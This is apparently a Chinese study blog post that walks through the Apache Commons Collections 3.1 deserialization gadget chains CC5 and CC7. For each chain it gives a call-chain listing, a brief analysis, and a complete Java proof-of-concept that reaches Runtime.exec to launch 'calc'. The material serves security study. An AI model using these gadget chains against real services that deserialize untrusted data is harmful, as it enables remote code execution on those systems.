前言 简单的完结篇,芜湖
环境
jdk1.8
Commons Collections 3.1
CC5 利用链 ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
分析 这里引入新类 TiedMapEntry 与 BadAttributeValueExpException
在 BadAttributeValueExpException 的 readObject 中调用 valObj 的 toString 方法 而 valObj是通过获取val的值来进行赋值 ,也就是可控
在 TiedMapEntry 的 toString 中调用 getValue 函数
发现在 getValue 函数中map key都可控,可以调用 LazyMap的 get方法
poc import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC5 { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer(transformers); Map<Object, Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,123 ); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null ); setFieldValue(badAttributeValueExpException,"val" ,tiedMapEntry); unserialize("ser2.bin" ); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser2.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }
CC7 利用链 Hashtable.readObject() Hashtable.reconstitutionPut() AbstractMapDecorator.equals() AbstractMap.equals() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() …………
分析 Hashtable 的 readObject 方法调用了reconstitutionPut()
调用 e.key的 equals方法,最后选择 AbstractMap 中的 equals方法,但是是一个abstract类,构造poc时选择其子类HashMap
调用get方法
poc import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 { public static void main (String[] args) throws Exception { Transformer[] fakeTransformer = new Transformer[]{}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , new Class[0 ]}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , new Object[0 ]}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc" }) }; Transformer chainedTransformer = new ChainedTransformer(fakeTransformer); Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap(); Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1, "test" ); hashtable.put(lazyMap2, "test" ); setFieldValue(chainedTransformer,"iTransformers" ,transformers); lazyMap2.remove("yy" ); serialize(hashtable); unserialize("ser.bin" ); } public static void setFieldValue (Object object, String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(object, value); } public static void serialize (Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("ser.bin" ); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); } public static Object unserialize (String Filname) throws Exception, ClassNotFoundException { FileInputStream fis = new FileInputStream(Filname); ObjectInputStream ois = new ObjectInputStream(fis); Object obj = ois.readObject(); return obj; } }
参考 CC链 1-7 分析 - 先知社区 (aliyun.com)
CC链学习-中 - 先知社区 (aliyun.com)